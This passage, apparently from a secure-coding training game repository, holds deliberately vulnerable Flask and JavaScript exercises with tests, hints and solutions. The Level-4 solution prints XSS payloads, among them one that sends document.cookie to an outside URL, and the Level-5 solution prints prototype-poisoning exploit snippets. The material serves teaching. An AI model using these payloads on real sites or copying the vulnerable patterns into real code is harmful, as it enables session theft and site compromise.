and running the following: 4 | // $ mocha Season-2/Level-3/tests.js 5 | 6 | // If you're inside a Codespace, the above should be running smoothly. 7 | 8 | // In case you're running this locally, please run the following command 9 | // first, and then run the tests' file: 10 | // $ npm install Season-2/Level-3/ && npm install --global mocha 11 | 12 | const app = require("./code"); 13 | // const app = require("./solution"); // To test the solution, uncomment this line and comment the one above 14 | const request = require('supertest'); 15 | const { expect } = require('chai'); 16 | 17 | describe('POST /ufo', () => { 18 | it('should respond with a successful JSON response', (done) => { 19 | 20 | request(app) 21 | .post('/ufo') 22 | .set('Content-Type', 'application/json') 23 | .expect(200) 24 | .end((err, res) => { 25 | if (err) return done(err + "\n" + res.text); 26 | expect(res.body.ufo).to.equal('Received JSON data from an unknown planet.'); 27 | done(); 28 | }); 29 | }); 30 | 31 | it('should handle valid XML data', function (done) { 32 | const xmlData = 'Canada'; 33 | request(app) 34 | .post('/ufo') 35 | .set('Content-Type', 'application/xml') 36 | .send(xmlData) 37 | .expect(200) 38 | .end(function (err, res) { 39 | if (err) return done(err + "\n" + res.text); 40 | expect(res.text).to.equal("Canada"); 41 | done(); 42 | }); 43 | }); 44 | 45 | it('should respond with a 400 error for invalid XML', (done) => { 46 | const invalidXmlPayload = 'invalid>a'; 47 | 48 | request(app) 49 | .post('/ufo') 50 | .set('Content-Type', 'application/xml') 51 | .send(invalidXmlPayload) 52 | .expect(400) 53 | .end((err, res) => { 54 | if (err) return done(err + "\n" + res.text); 55 | expect(res.text).to.include('Invalid XML'); 56 | done(); 57 | }); 58 | }); 59 | 60 | it('should respond with a 400 error for unsupported content type', (done) => { 61 | request(app) 62 | .post('/ufo') 63 | .set('Content-Type', 'application/octet-stream') 64 | .send('Some data') 65 | .expect(405, done); 66 | }); 67 | }); 68 | 69 | after(() => { 70 | app.close(); 71 | }); -------------------------------------------------------------------------------- /Season-2/Level-4/code.py: -------------------------------------------------------------------------------- 1 | # Welcome to Secure Code Game Season-2/Level-4! 2 | 3 | # Follow the instructions below to get started: 4 | 5 | # 1. tests.py file is passing but code.py is vulnerable 6 | # 2. Review the code in this file. Can you spot the bugs(s)? 7 | # 3. Fix the bug(s) in code.py. Ensure that tests.py passes 8 | # 4. Run hack.py and if passing then CONGRATS! 9 | # 5. If stuck then read the hint 10 | # 6. Compare your solution with solution.txt 11 | 12 | # Run code.py (RECOMMENDED for this level) by following the instructions below: 13 | 14 | # Run by opening a terminal and running the following: 15 | # $ export FLASK_APP=Season-2/Level-4/code.py && export FLASK_ENV=development && export FLASK_DEBUG=0 && flask run 16 | 17 | import os 18 | import re 19 | from flask import Flask, request, render_template 20 | app = Flask(__name__) 21 | 22 | # Set the absolute path to the template directory 23 | template_dir = os.path.abspath('Season-2/Level-4/templates') 24 | app.template_folder = template_dir 25 | 26 | # Hard-coded planet data 27 | planet_data = { 28 | "Mercury": "The smallest and fastest planet in the Solar System.", 29 | "Venus": "The second planet from the Sun and the hottest planet.", 30 | "Earth": "Our home planet and the only known celestial body to support life.", 31 | "Mars": "The fourth planet from the Sun and often called the 'Red Planet'.", 32 | "Jupiter": "The largest planet in the Solar System and known for its great red spot.", 33 | } 34 | 35 | @app.route('/', methods=['GET', 'POST']) 36 | def index(): 37 | if request.method == 'POST': 38 | planet = request.form.get('planet') 39 | sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') 40 | 41 | if sanitized_planet: 42 | if 'script' in sanitized_planet.lower() : 43 | return '

Blocked

' 44 | 45 | return render_template('details.html', 46 | planet=sanitized_planet, 47 | info=get_planet_info(sanitized_planet)) 48 | else: 49 | return '

Please enter a planet name.

' 50 | 51 | return render_template('index.html') 52 | 53 | def get_planet_info(planet): 54 | return planet_data.get(planet, 'Unknown planet.') 55 | 56 | if __name__ == '__main__': 57 | app.run() -------------------------------------------------------------------------------- /Season-2/Level-4/hack.txt: -------------------------------------------------------------------------------- 1 | Simulate an attack by following these steps: 2 | 3 | 1. Start the application as instructed in 'code.py' 4 | 2. Enter the following in the planet input field: 5 | <img src='x' onerror='alert(1)'> 6 | 7 | The application should return a message stating that such a 8 | planet is unknown to the system, without showing an alert box -------------------------------------------------------------------------------- /Season-2/Level-4/hint.txt: -------------------------------------------------------------------------------- 1 | How does the site handle user input before and after displaying it? -------------------------------------------------------------------------------- /Season-2/Level-4/solution.txt: -------------------------------------------------------------------------------- 1 | # Contribute new levels to the game in 3 simple steps! 2 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 3 | 4 | This code is vulnerable to Cross-Site Scripting (XSS). 5 | 6 | Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting 7 | Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/ 8 | 9 | Why the application is vulnerable to XSS? 10 | It seems that the user input is properly sanitized, as shown below: 11 | 12 | planet = request.form.get('planet') 13 | sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') 14 | 15 | What if all HTML's start and end tags were pruned away, what could go wrong in that case? 16 | Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag. 17 | However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows: 18 | 19 | Exploit: 20 | <img src="x" onerror="alert(1)"> 21 | 22 | Explanation: 23 | With this payload, the XSS attack will execute successfully, since it will force the browser to open an 24 | alert dialog box. There are several reasons why this is possible, as explained below: 25 | 26 | 1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function 27 | invocation in JavaScript. 28 | 2) The sanitization doesn't touch the < and > special entities. 29 | 3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision. 30 | 4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML. 31 | 32 | How can we fix this? 33 | 34 | 1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped. 35 | 2) Don't reinvent the wheel by coming up with your own escaping facility. 36 | You can use the function 'escape', which is a built-in function inside the markup module used by Flask. 37 | This function helps to escape special characters in the input, preventing them from being executed 38 | as HTML or JavaScript. 39 | 40 | Example: 41 | from markupsafe import escape 42 | 43 | sanitized_planet = escape(planet) 44 | 45 | What else can XSS do? 46 | - Steal cookies and session information 47 | - Redirect to malicious websites 48 | - Modify website content 49 | - Phishing 50 | - Keylogging 51 | 52 | How to prevent XSS? 53 | - Sanitize user input properly 54 | - Use Content Security Policy (CSP) 55 | - Use HttpOnly Cookies 56 | - Use X-XSS-Protection header 57 | 58 | Here are some exploit examples: 59 | 60 | - Redirect to phishing page using XSS: 61 | <img src="x" onerror="window.location.href = 'https://google.com';"> 62 | 63 | - Get cookies: 64 | <img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"> 65 | 66 | - Modify website content: 67 | You can inject any phishing page, malicious page, or any other content to the website using XSS, by: 68 | <img src="x" onerror="document.body.innerHTML = 'Website is hacked';"> -------------------------------------------------------------------------------- /Season-2/Level-4/templates/details.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Planet Details 6 | 18 | 19 | 20 | 21 |

Planet Details

22 |

Planet name: {{ planet | safe }}

23 |

Planet info: {{ info | safe }}

24 |
25 |

Search in Google for more information about the planet:

26 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /Season-2/Level-4/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Planet Information 6 | 51 | 52 | 53 | 54 |

Planet Information

55 |
56 | 57 | 58 |

59 | 60 |
61 | 62 | 63 | -------------------------------------------------------------------------------- /Season-2/Level-4/tests.py: -------------------------------------------------------------------------------- 1 | # Run tests.py by following the instructions below: 2 | 3 | # This file contains passing tests. 4 | 5 | # Run them by opening a terminal and running the following: 6 | # $ python3 Season-2/Level-4/tests.py 7 | 8 | # Note: first you have to run code.py following the instructions 9 | # on top of that file so that the environment variables align but 10 | # it's not necessary to run both files in parallel as the tests 11 | # initialize a new environment, similar to code.py 12 | 13 | from code import app, get_planet_info 14 | import unittest 15 | from flask_testing import TestCase 16 | 17 | class MyTestCase(TestCase): 18 | def create_app(self): 19 | app.config['TESTING'] = True 20 | app.config['TEMPLATES_AUTO_RELOAD'] = True 21 | return app 22 | 23 | def test_index_route(self): 24 | response = self.client.get('/') 25 | self.assert200(response) 26 | self.assertTemplateUsed('index.html') 27 | 28 | def test_get_planet_info_invalid_planet(self): 29 | planet = 'Pluto' 30 | expected_info = 'Unknown planet.' 31 | result = get_planet_info(planet) 32 | self.assertEqual(result, expected_info) 33 | 34 | def test_get_planet_info_valid_planet(self): 35 | planet = 'Mercury' 36 | expected_info = 'The smallest and fastest planet in the Solar System.' 37 | result = get_planet_info(planet) 38 | self.assertEqual(result, expected_info) 39 | 40 | def test_index_valid_planet(self): 41 | planet = 'Venus' 42 | response = self.client.post('/', data={'planet': planet}) 43 | self.assert200(response) 44 | self.assertEqual(response.data.decode()[:15], '') 45 | 46 | def test_index_missing_planet(self): 47 | response = self.client.post('/') 48 | self.assert200(response) 49 | self.assertEqual(response.data.decode(), '

Please enter a planet name.

') 50 | 51 | def test_index_empty_planet(self): 52 | response = self.client.post('/', data={'planet': ''}) 53 | self.assert200(response) 54 | self.assertEqual(response.data.decode(), '

Please enter a planet name.

') 55 | 56 | def test_index_active_content_planet(self): 57 | planet = " 56 | 57 | 58 |
59 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /Season-2/Level-5/solution.js: -------------------------------------------------------------------------------- 1 | // Contribute new levels to the game in 3 simple steps! 2 | // Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 3 | 4 | // In-depth explanation follows at the end of the file. Scroll down to see it. 5 | var CryptoAPI = (function() { 6 | var encoding = { 7 | a2b: function(a) { }, 8 | b2a: function(b) { } 9 | }; 10 | 11 | var API = { 12 | sha1: { 13 | name: 'sha1', 14 | identifier: '2b0e03021a', 15 | size: 20, 16 | block: 64, 17 | hash: function(s) { 18 | 19 | // FIX for hack-1.js 20 | if (typeof s !== "string") { 21 | throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; 22 | } 23 | 24 | var len = (s += '\x80').length, 25 | blocks = len >> 6, 26 | chunk = len & 63, 27 | res = "", 28 | i = 0, 29 | j = 0, 30 | H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], 31 | 32 | // FIX for hack-3.js 33 | w = [ 34 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 36 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 37 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 38 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 39 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 40 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 42 | ]; 43 | 44 | while (chunk++ != 56) { 45 | s += "\x00"; 46 | if (chunk == 64) { 47 | blocks++; 48 | chunk = 0; 49 | } 50 | } 51 | 52 | for (s += "\x00\x00\x00\x00", chunk = 3, len = 8 * (len - 1); chunk >= 0; chunk--) { 53 | s += encoding.b2a(len >> (8 * chunk) & 255); 54 | } 55 | 56 | for (i = 0; i < s.length; i++) { 57 | j = (j << 8) + encoding.a2b(s[i]); 58 | if ((i & 3) == 3) { 59 | w[(i >> 2) & 15] = j; 60 | j = 0; 61 | } 62 | // FIX for hack-2.js 63 | if ((i & 63) == 63) internalRound(H, w); 64 | } 65 | 66 | for (i = 0; i < H.length; i++) 67 | for (j = 3; j >= 0; j--) 68 | res += encoding.b2a(H[i] >> (8 * j) & 255); 69 | return res; 70 | }, // End "hash" 71 | _round: function(H, w) { } 72 | } // End "sha1" 73 | }; // End "API" 74 | 75 | // FIX for hack-2.js 76 | var internalRound = API.sha1._round; 77 | 78 | return API; // End body of anonymous function 79 | })(); // End "CryptoAPI" 80 | 81 | 82 | // -------------------------------------------------------------------------------------------- 83 | // Explanation 84 | // -------------------------------------------------------------------------------------------- 85 | // Vulnerability 1 86 | // -------------------------------------------------------------------------------------------- 87 | 88 | // The parameter "s" could be an object, and when cast to 89 | // a string by the implicit type conversion of the "+=" operator, the 90 | // conversion can trigger malicious code execution. (This operator is used 91 | // on lines 18, 28, 35 and 36 of code.js.) 92 | 93 | 94 | // Exploit 1 95 | 96 | // We can provide a malicious object as the parameter for 97 | // CryptoAPI.sha1.hash() that triggers the type conversion, e.g.: 98 | 99 | var x = { toString: function() { alert('1'); } }; 100 | 101 | // or by what was provided in hack-1.js 102 | 103 | 104 | // Fix 1 105 | 106 | // We could fix this vulnerability by adding between lines 17 and 18 of code.js. 107 | 108 | if (typeof s !== "string") { 109 | throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; 110 | } 111 | 112 | // becoming 113 | 114 | // code ... 115 | hash: function example (input) { 116 | if (typeof input !== "string") { 117 | throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; 118 | } 119 | var len = (input += '\x80').length 120 | // more code ... 121 | } 122 | 123 | 124 | // -------------------------------------------------------------------------------------------- 125 | // Vulnerability 2 126 | // -------------------------------------------------------------------------------------------- 127 | 128 | // The reference to CryptoAPI.sha1._round on line 45 of code.js is 129 | // non-local, so the "_round" property of CryptoAPI.sha1 can be overwritten 130 | // with attacker-defined code that will be executed by CryptoAPI.sha1.hash. 131 | // It's important to realise that this is because of how the function is 132 | // called on line 45 of code.js, not because of how it is defined on line 53. 133 | 134 | 135 | // Exploit 2 136 | 137 | // We could alter the definition of CryptoAPI.sha1._round after 138 | // loading CryptoAPI, e.g.: 139 | 140 | CryptoAPI.sha1._round = function() { alert('2'); }; 141 | 142 | // or by what was provided in hack-2.js 143 | 144 | 145 | // Fix 2 146 | 147 | // We could fix this vulnerability by storing a local 148 | // reference to the "_round" property on line 56 of code.js, 149 | // after "API" has been defined: 150 | 151 | var internalRound = API.sha1._round; 152 | 153 | // and using this local reference in the body of the "hash" function in the 154 | // invocation of the function on line 45 of code.js instead: 155 | 156 | if ((i & 63) == 63) internalRound(H, w); 157 | 158 | // This works because in JS, a method is first going to be 159 | // searched locally and then globally (non-locally). 160 | 161 | 162 | 163 | // -------------------------------------------------------------------------------------------- 164 | // Vulnerability 3 165 | // -------------------------------------------------------------------------------------------- 166 | 167 | // The array "w" is initialised as an empty array on line 25 of code.js, 168 | // but other code in CryptoAPI.sha1.hash makes implicit references to 169 | // elements at specific indices (which are simply properties of an object), 170 | // so an assignment to one of these elements (e.g., on line 42) could 171 | // trigger malicious code execution as a result of poisoning the Array 172 | // prototype. Specifically, 128 elements of "w" are accessed by the CryptoAPI code. 173 | 174 | // Although the reason for this vulnerability was the failure 175 | // to correctly initialise "w" on line 25 of code.js with the number of elements that 176 | // would be used by the code that followed it, someone could also identify 177 | // that the assignment on line 42 of code.js could trigger malicious code execution. 178 | 179 | 180 | // Exploit 3 181 | 182 | // We could poison the Array prototype before CryptoAPI is 183 | // defined such that attempting to set the value of the element at index 0 184 | // in an array triggers execution of user-defined code, e.g.: 185 | 186 | var g = null; 187 | var s = null; 188 | 189 | (function() { 190 | var zero = undefined; 191 | g = function() { return zero; } 192 | s = function(x) { alert('3'); zero = x; } 193 | })(); 194 | 195 | Object.defineProperty(Array.prototype, "0", { get: g, set: s }); 196 | 197 | // or the quicker, dirtier hack: 198 | 199 | Array.prototype.__defineSetter__("0", function() { alert('3'); }); 200 | 201 | // or by what was provided in hack-3.js 202 | 203 | 204 | // Fix 3 205 | 206 | // 128 elements of "w" are accessed by the CryptoAPI code, so 207 | // we could fix this vulnerability by declaring "w" as an array initialised 208 | // explicitly with 128 elements. This way, when we attempt to set the value 209 | // of an element in "w" on line 42 of code.js we don't inherit a malicious 210 | // setter for that property via the Array prototype. 211 | 212 | w = [ 213 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 214 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 215 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 216 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 217 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 218 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 219 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 220 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 221 | ]; -------------------------------------------------------------------------------- /Season-2/README.md: -------------------------------------------------------------------------------- 1 | # Secure Code Game 2 | 3 | _Welcome to Secure Code Game - Season 2!_ :wave: 4 | 5 | To get started, please follow the 🛠️ set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame). 6 | 7 | ## Season 2 - Level 1: Jarvis Gone Wrong 8 | 9 | _Welcome to Level 1!_ :robot: 10 | 11 | Languages: `yaml` for `GitHub Actions` 12 | 13 | ### 🚀 Credits 14 | 15 | The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). 16 | 17 | You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 18 | 19 | ### 📝 Storyline 20 | 21 | Jarvis, your trusty geek who gets really excited with automating everything, has some tips for you. He has been experimenting lately with GitHub Actions and made several great additions to our CI/CD pipeline. Among other useful additions, he suggested that it would be helpful for our project team to be getting the [GitHub status page](https://www.githubstatus.com/api/v2/status.json). What can go wrong? Do you have what it takes to fix the bug and progress to Level 2? 22 | 23 | ### :keyboard: What's in the repo? 24 | 25 | - `code` normally includes the vulnerable code to be reviewed. For this level, due to the nature of `GitHub Actions`, this file is referencing `.github/workflows/jarvis-code.yml`. 26 | - `hack` exploits the vulnerabilities in `code`. For this level, this file is referencing `.github/workflows/jarvis-hack.yml`. Initially, it fails ❌ upon pushing and the only requirement for you to reach the next level is to get this file to pass 🟢. 27 | - `hint` files offer guidance if you get stuck. We provide 2 hints for this level. 28 | - `solution` offers a working solution. Remember, there are several possible solutions. 29 | 30 | ### 🚦 Time to start! 31 | 32 | 1. Review the code inside `.github/workflows/jarvis-code.yml`. Can you spot the bug(s)? 33 | 1. Fix the bug and push your solution so that `GitHub Actions` can run. 34 | 1. You successfully completed this level when `.github/workflows/jarvis-hack.yml` passes 🟢. 35 | 1. If you get stuck, read the hint in `hint-1.txt` and try again. 36 | 1. If you need more guidance, read the hint in `hint-2.txt` and try again. 37 | 1. Compare your solution with `solution.yml`. Remember, there are several possible solutions. 38 | 39 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 40 | 41 | ## Season 2 - Level 2: Lumberjack 42 | 43 | _You have completed Level 1: Jarvis Gone Wrong! Welcome to Level 2: Lumberjack_ :tada: 44 | 45 | Languages: `go` 46 | 47 | ### 🚀 Credits 48 | 49 | The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). 50 | 51 | You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 52 | 53 | ### 📝 Storyline 54 | 55 | Welcome to the world of Lumberjack, the "clumsiest service in town", according to the online reviews! Customers have been noticing irregularities in both their site and services. We dumped a few reviews in an AI chatbot to summarize and what we've got back were a few keywords that said it all! Keywords included the words "discrepancies" and "inconsistencies". Something is clearly off here. Do you have what it takes to win this fight against "inconsistencies", "discrepancies" and "irregularities" and progress to Level 3? 56 | 57 | ### :keyboard: Setup instructions 58 | 59 | - If you are playing the game inside GitHub Codespaces, the `go` programming language extension should be already installed. At times, this is not enough to run `go` files and you have to visit Go's [official website](https://go.dev/dl/) and download the driver corresponding to your operating system. 60 | - For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 61 | 62 | ### :keyboard: What's in the repo? 63 | 64 | Due to the nature of file conventions in the `go` programming language, some file names look different compared to our usual file structure. We have the following: 65 | 66 | - `code` includes the vulnerable code to be reviewed. 67 | - `code_test` contains the unit tests that should still pass 🟢 after you implement your fix. 68 | - `hack_test` exploits the vulnerabilities in `code`. Running `hack_test.go` will fail initially and your goal is to get this file to pass 🟢. 69 | - `hint` files offer guidance if you get stuck. We provide 2 hints for this level. Remember that you can also view the CodeQL scanning alerts for guidance. 70 | - `solution` provides one working solution. There are several possible solutions. 71 | - `solution_test` is identical to `code_test` and it's used to test the solution for failing and passing payloads. 72 | - `go.mod` is a `go` programming language convention for a module residing at the root of the module's directory hierarchy. 73 | 74 | ### 🚦 Time to start! 75 | 76 | 1. Review the code in `code.go`. Can you spot the bug(s)? 77 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 78 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack_test.go` and `code_test.go` pass 🟢. 79 | 1. If you get stuck, read the hints and try again. 80 | 1. If you need more guidance, read the CodeQL scanning alerts. 81 | 1. Compare your solution to `solution/solution.go`. 82 | 83 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 84 | 85 | ## Season 2 - Level 3: Planet XMLon 86 | 87 | _Nicely done! Level 2: Lumberjack is complete. It's time for Level 3: Planet XMLon_ :partying_face: 88 | 89 | Languages: `javascript` 90 | 91 | ### 🚀 Credits 92 | 93 | The author of this level is Deniz Onur Duzgun [@dduzgun-security](https://github.com/dduzgun-security). 94 | 95 | You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 96 | 97 | ### 📝 Storyline 98 | 99 | Embark on your quest as a daring EXXplorer in the vibrant landscape of the newly discovered Planet XMLon. The alien inhabitants are baffled by mysterious disruptions in their data transmissions, which may have been caused by the main developer E.T. who added more features than intended. Help them decode the extraterrestrial XML signals and unveil the secrets hidden within the starry constellations of tags, attributes and `.admin` files. Can you secure them all? 100 | 101 | ### :keyboard: Setup instructions 102 | 103 | For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 104 | 105 | ### :keyboard: What's in the repo? 106 | 107 | - `code` includes the vulnerable code to be reviewed. 108 | - `hack` exploits the vulnerabilities in `code`. Running `hack` will fail initially and your goal is to get this file to pass 🟢. 109 | - `hack.admin` is a file used by administrators for debugging purposes. 110 | - `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. 111 | - `package.json` contains all the dependencies required for this level. You can install them by running `npm install`. 112 | - `package-lock.json` ensures that the same dependencies are installed consistently across different environments. 113 | - `solution` provides one working solution. There are several possible solutions. 114 | - `tests` contains the unit tests that should still pass 🟢 after you implement your fix. 115 | - `.env.production` is an internal server-side file containing a secret environment variable. 116 | 117 | ### 🚦 Time to start! 118 | 119 | 1. Start by installing the dependencies required for this level, by running `npm install`. These dependancies reside inside `package.json`. 120 | 1. Review the code in `code.js`. Can you spot the bug(s)? 121 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 122 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.js` and `tests.js` pass 🟢. 123 | 1. If you get stuck, read the hint and try again. 124 | 1. If you need more guidance, read the CodeQL scanning alerts. 125 | 1. Compare your solution to `solution.js`. 126 | 127 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 128 | 129 | ## Season 2 - Level 4: Space-Crossing 130 | 131 | _Nice work finishing Level 3: Planet XMLon! It's now time for Level 4: Space-Crossing_ :sparkles: 132 | 133 | Languages: `python3` 134 | 135 | ### 🚀 Credits 136 | 137 | The author of this level is [Viral Vaghela](https://www.linkedin.com/in/viralv/). 138 | 139 | You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 140 | 141 | ### 📝 Storyline 142 | 143 | Our solar system is 4.6 billion years old and it's constantly expanding. So does human interest around the world with local communities of enthusiasts constantly forming in an increasingly digitized world. Space enthusiasts use the internet as an information bank and to connect with their counterparts. This was exactly what drove a local community of space enthusiasts to create a public website, featuring their meetups, alongside contact information and a simple search bar where users can discover rare facts about planets. Having said that, did you know that ninety-five per cent (95%) of the Universe is invisible? What percentage of security issues is invisible though, and for how long? Do you have what it takes to secure the site and progress to Level 4? 144 | 145 | ### :keyboard: Setup instructions 146 | 147 | - For Levels 2-4 in Season 2, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions on setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 148 | 149 | ### :keyboard: What's in the repo? 150 | 151 | - `code` includes the vulnerable code to be reviewed. 152 | - `hack` exploits the vulnerabilities in `code`. Running `hack` will fail initially and your goal is to get this file to pass 🟢. 153 | - `hint` offers guidance if you get stuck. Remember that you can also view the CodeQL scanning alerts. 154 | - `solution` provides one working solution. There are several possible solutions. 155 | - `templates/index.html` host a simple front-end to interact with the back-end. 156 | - `tests` contains the unit tests that should still pass 🟢 after you implement your fix. 157 | 158 | ### 🚦 Time to start! 159 | 160 | 1. Review the code in `code.py`. Can you spot the bug(s)? 161 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 162 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢. 163 | 1. If you get stuck, read the hint and try again. 164 | 1. If you need more guidance, read the CodeQL scanning alerts. 165 | 1. Compare your solution to `solution.py`. 166 | 167 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 168 | 169 | ## Season 2 - Level 5: Anarchy 170 | 171 | _Almost there... but also, so far away! A special level is awaiting for you to complete Season 2!_ :heart: 172 | 173 | Languages: `javascript` 174 | 175 | ### 🚀 Credits 176 | 177 | The author of this level is the original creator of the game, Joseph Katsioloudes [@jkcso](https://github.com/jkcso). 178 | 179 | You can be next! We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 180 | 181 | ### 📝 Storyline 182 | 183 | 'Anarchy' (noun) is the state of disorder due to absence or non-recognition of authority or other controlling systems. This was the first word that came to mind when I finished writing `code.js`. Is anarchy exploitable? Can you spot the issues? Good luck, you will need it! 184 | 185 | ### :keyboard: What's in the repo? 186 | 187 | - `code` includes the vulnerable code to be reviewed. 188 | - `hack` files exploit the vulnerabilities in `code`. For this level, the exploits couldn't be automated. To run them, follow the instructions provided inside. 189 | - `hint` files offer guidance if you get stuck. 190 | - `solution` provides one working solution. There are several possible solutions. 191 | - `index` hosts the homepage, featuring a javascript console. 192 | 193 | ### 🚦 Time to start! 194 | 195 | 1. Review the code in `code.js`. Can you spot the bug(s)? 196 | 1. You successfully completed this level when the exploits inside `hack.js` are unsuccessful. Remember, due to the nature of the exploits, you have to run them manually. 197 | 1. If you get stuck, read the hints. 198 | 1. Compare your solution to `solution.js` 199 | 200 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack) in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 201 | 202 | ## Finish 203 | 204 | _Congratulations, you've completed the Secure Code Game!_ 205 | 206 | Here's a recap of all the tasks you've accomplished: 207 | 208 | - You practiced secure code principles by spotting and fixing vulnerable patterns in real-world code. 209 | - You assessed your solutions against exploits developed by GitHub Security Lab experts. 210 | - You utilized GitHub code scanning features and understood the security alerts generated against your code. 211 | 212 | ### What's next? 213 | 214 | - Follow [GitHub Security Lab](https://twitter.com/ghsecuritylab) for the latest updates and announcements about this course. 215 | - Contribute new levels to the game in 3 simple steps! Read our [Contribution Guideline](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 216 | - Share your feedback and ideas in our [Discussions](https://github.com/skills/secure-code-game/discussions) and join our community on 